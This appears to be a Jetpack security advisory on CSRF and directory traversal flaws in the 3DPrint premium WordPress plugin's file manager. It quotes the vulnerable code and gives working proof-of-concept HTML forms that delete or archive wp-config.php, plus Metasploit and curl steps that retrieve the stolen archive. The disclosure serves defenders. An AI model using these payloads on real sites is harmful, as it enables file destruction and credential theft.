Vulnerabilities Found in the 3DPrint Premium Plugin

The premium version of the WordPress plugin 3DPrint is vulnerable to Cross Site Request Forgery (CSRF) and directory traversal attacks when the file manager functionality is enabled. These vulnerabilities allow an attacker to delete or get access to arbitrary files and directories on the affected sites, including sensitive files like the site configuration files, which again could lead to a full site takeover.

Recently, while looking over some potential false positives flagged by our experimental signatures, we discovered some code that puzzled us in the 3DPrint premium plugin.

require_once("../../../../../../wp-load.php");
if ( !current_user_can('administrator') ) exit;
$p3d_settings = get_option( 'p3d_settings' );

global $wpdb;

set_time_limit(0);
ini_set( 'memory_limit', '-1' );

This snippet was found in the Tiny File Manager PHP module located within the include directory of the plugin, but is not found in the original Tiny File Manager project. It seems to be injected with the intention to integrate it with the WordPress role-based access controls. 

Loading WordPress code files like this in an unrelated module is usually a sign that something is a bit off, so we decided to investigate further.

The observant reader will notice that access to the module is limited to users with the Administrator role, but there are no nonce checks. That would be ok if Tiny File Manager had its own CSRF protection, but as this was not the case, it looks like this code may be susceptible to a CSRF attack. (Tiny File Manager has since added CSRF protection after we made them aware of the issue. Version 2.5.0 and later should be a lot safer to use!)

A complicating factor is that Tiny File Manager is not included in the package when installing 3DPrint premium but is downloaded on demand when activated. The version downloaded at the time of writing is version 2.4.4, but it has been heavily modified by the 3DPrint developers, and is downloaded from their domain, not directly from the Tiny File Manager repositories.

Most of the changes made remove functionality not used by the plugin, as well as a few other changes, like hard-coding the path, limiting what the file manager should be able to access. In addition, the authentication and authorization features built into Tiny File Manager have been disabled and replaced by the above integration with the WordPress role system.

We have discovered a couple of vulnerabilities where the combination of the modified access controls and inclusion of the Tiny File Manager in the 3DPrint plugin becomes exploitable to an outside attacker. This includes deleting or downloading sensitive files, potentially allowing for a full site takeover. These vulnerabilities exploit the lack of nonce checks in the modified access controls, along with directory traversal vulnerabilities in Tiny File Manager itself.

We have tried to contact the vendor of both the 3DPrint plugin and the Tiny File Manager project. Of these, only the developers of the Tiny File Manager project have responded to us and fixed the issues we submitted to them.

Check out our new WAF as part of Jetpack Scan, which will protect against these attacks out of the box. It’s currently in beta. Jetpack Scan will also detect the vulnerable component, and help with removing it.

As the Tiny File Manager module is downloaded and installed on demand, there’s not necessarily a correspondence between the plugin version and the version of Tiny File Manager being used. However, once installed, there does not seem to be an easy way to update the Tiny File Manager module apart from manually deleting it and activating it again.

For this reason, we consider all versions of 3DPrint to be vulnerable to the below vulnerabilities if the file manager has been activated.

The vulnerabilities

1. CSRF leading to arbitrary file/directory deletion

The mass delete functionality in the included version of Tiny File Manager (version 2.4.4) is not properly protected against directory traversal and also lacks CSRF protections. This allows an attacker to trick an admin into deleting multiple files or even directories on the server recursively. 

// Mass deleting
if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
//        $path .= '/' . FM_PATH;
    }

    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) && count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $new_path = $path . '/' . $f;
                if (!fm_rdelete($new_path)) {
                    $errors++;
                }
            }
        }
        if ($errors == 0) {
            fm_set_msg('Selected files and folder deleted');
        } else {
            fm_set_msg('Error while deleting items', 'error');
        }
    } else {
        fm_set_msg('Nothing selected', 'alert');
    }

    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));
}

This can be exploited by passing the group and delete POST parameters to any value, and passing an array of files/directories to delete in the file parameter. The variable $new_path is a simple concatenation of the FM_ROOT_PATH and the passed in filename, passed to the recursive delete function fm_rdelete(). As fm_rdelete() does not do any validation of the pathnames it’s given, this makes this code vulnerable to a directory traversal attack.

Here’s an example proof of concept: 

<form action="https://example.com/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="delete" value="1">
    <input type="hidden" name="file[1]" value="../2020">
    <input type="hidden" name="file[2]" value="../../../wp-config.php">
    <input type="submit" value="Get rich!">
</form>

All paths are relative to the wp-content/uploads/p3d/ directory on the server. When any logged-in admin clicks the button to get rich, their uploads from 2020 will be deleted along with the sites wp-config.php file. 

2. CSRF leading to arbitrary downloads

The functionality in the included version of Tiny File Manager (version 2.4.4) to download a zip or tar archive of selected files is not protected against directory traversal and lacks CSRF protections. This allows an attacker to trick an admin into creating a zip or tar archive with arbitrary files and directories from the site, including configuration files or other sensitive content.

The archive is placed in the normal 3DPring upload directory, wp-content/uploads/p3d/. The file name is only partially controllable by the attacker but is predictable enough that it should be relatively easy to brute force. If they know at what time the forged request was sent it should also be trivial to make an educated guess.

// Pack files
if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) {
    $path = FM_ROOT_PATH;
    $ext = 'zip';
    if (FM_PATH != '') {
//        $path .= '/' . FM_PATH;
    }

    //set pack type
    $ext = isset($_POST['tar']) ? 'tar' : 'zip';
    $files = $_POST['file'];
    if (!empty($files)) {
        chdir($path);

        if (count($files) == 1) {
            $one_file = reset($files);
            $one_file = basename($one_file);
            $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext;
        } else {
            $zipname = 'archive_' . date('ymd_His') . '.'.$ext;
        }

        if($ext == 'zip') {
            $zipper = new FM_Zipper();
            $res = $zipper->create($zipname, $files);
        } elseif ($ext == 'tar') {
            $tar = new FM_Zipper_Tar();
            $res = $tar->create($zipname, $files);
        }

By sending a post request with the group and either the zip or tar variables set to any value will create an archive with the files specified in the file parameter. The current date and time will be appended to the file name for the archive, which will have the same base name as the file archived, or “archive” if several files are archived together. The archive will be created in the 3DPrint upload directory, but the path names of the files are not sanitized, and can contain paths outside this directory, making it vulnerable to directory traversal attacks.

To exploit this vulnerability, we created a simple payload module for Metasploit that serves as a self-submitting form with the malicious payload to the vulnerable site. The proof of concept payload sent was:

<!DOCTYPE html>
<html>
  <body>
    <form action="https://3dprint-test.ddev.site/wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php" method="POST">
      <input type="hidden" name="group" value="1">
      <input type="hidden" name="zip" value="1">
      <input type="hidden" name="file[1]" value="../2022">
      <input type="hidden" name="file[2]" value="../../../wp-config.php">
    </form>
    <script>document.forms[0].submit()</script>
  </body>
</html>

As the Metasploit module would record the timestamp of when the form was sent, that made it easy to guess the correct filename for the archive created.

% msfconsole                                                                                
                                                  
msf6 > use payload/html/html_reverse_http
msf6 payload(html/html_reverse_http) > set LHOST localhost
LHOST => localhost
msf6 payload(html/html_reverse_http) > set LURI /
LURI => /
msf6 payload(html/html_reverse_http) > set PAYLOADFILE ../poc/poc-csrf-archive.html
PAYLOADFILE => ../poc/poc-csrf-archive.html
msf6 payload(html/html_reverse_http) > to_handler
[*] Payload Handler Started as Job 0
[*] Started HTTP reverse handler on http://[::1]:8080/
[*] http://localhost:8080/ handling request from ::1; (UUID: rhexpfwi) Request processed at 2022-12-10T11:06:49+01:00

msf6 payload(html/html_reverse_http) > exit

% curl -I 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
HTTP/2 200 
server: nginx/1.20.1
date: Sat, 10 Dec 2022 10:07:35 GMT
content-type: application/zip
content-length: 87225
last-modified: Sat, 10 Dec 2022 10:06:49 GMT
etag: "63945a39-154b9"
accept-ranges: bytes


% curl -O 'https://3dprint-test.ddev.site/wp-content/uploads/p3d/archive_221210_100649.zip'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 87225  100 87225    0     0  2322k      0 --:--:-- --:--:-- --:--:-- 2366k

% unzip -v archive_221210_100649.zip 
Archive:  archive_221210_100649.zip
 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name
--------  ------  ------- ---- ---------- ----- --------  ----
       0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/
       0  Stored        0   0% 2022-12-10 10:06 00000000  ../2022/12/
   85888  Defl:X    85655   0% 2022-12-10 10:05 724f1f67  ../2022/12/funny-cat.jpg
    1955  Defl:X     1114  43% 2022-11-01 23:25 96f2088a  ../../../wp-config.php
--------          -------  ---                            -------
   87843            86769   1%                            4 files

Notice how we can deduce the filename of the generated archive from the timestamp of the request. In this case, the server container is running one timezone behind the local timezone.

Explore the benefits of Jetpack

Learn how Jetpack can help you protect, speed up, and grow your WordPress site. Get up to 50% off your first year.

Explore plans

Recommendations

As the version of the file manager installed is independent of the version of the plugin installed, we cannot recommend a fixed version of the plugin. 

Neither have we found an easy way to update the file manager module if a new version is released at a later date.

For this reason, we consider all versions of the 3DPrint premium plugin vulnerable if the file manager component is enabled.

Our recommendation is to make sure the file manager module is disabled, and that the file is removed from the site.

The easiest way is to delete the file wp-content/plugins/3dprint/includes/ext/tinyfilemanager/tinyfilemanager.php if it exists.

Conclusions

All versions of the 3DPrint premium plugin are vulnerable to CSRF and directory traversal attacks if the file manager module is enabled on the site. This does not affect the free version of the plugin downloaded from the WordPress.org plugin repository.

At Jetpack, we work hard to make sure your websites are protected from these types of vulnerabilities. We recommend that you have a security plan for your site that includes malicious file scanning and backups. The Jetpack Security bundle is one great WordPress security option to ensure your site and visitors are safe. This product includes real-time malware scanning, site backups, comment and form spam protection from Akismet, brute force attack protection, and more.

Credits

Research by Harald Eilertsen, with feedback and corrections provided by Benedict Singer, Rob Pugh, Jen Swisher and the Jetpack Scan team.

Timeline

  • 2022-09-08: We were made aware of the finding and started investigating
  • 2022-10-25: Contacted vendor first time
  • 2022-11-01: Vendor contacted second time through a different channel
  • 2022-11-08: Mass delete vulnerability disclosed (CVE-2022-3899)
  • 2022-11-15: Contacted developers of Tiny File Manager about lack of CSRF protection, and directory traversal vulnerabilities.
  • 2022-11-19: Tiny File Manager 2.5.0 released, fixing CSRF issues but not the directory traversal problems.
  • 2022-12-13: Public disclosure
This entry was posted in Vulnerabilities. Bookmark the permalink.

Harald Eilertsen profile
Harald Eilertsen

Harald is a Certified Systems Security Professional (CISSP) with a wide background from software development and the security industry. He has a Master of Science in analog microelectronics from the Norwegian University of Science and Technology (NTNU), and has worked for companies such as Norman, Tandberg and Cisco before joining the Jetpack Scan team at Automattic.

Explore the benefits of Jetpack

Learn how Jetpack can help you protect, speed up, and grow your WordPress site. Get up to 50% off your first year.

Explore plans

Have a question?

Comments are closed for this article, but we're still here to help! Visit the support forum and we'll be happy to answer any questions.

View support forum
  • Enter your email address to follow this blog and receive news and updates from Jetpack!

    Join 112.8K other subscribers
  • Browse by Topic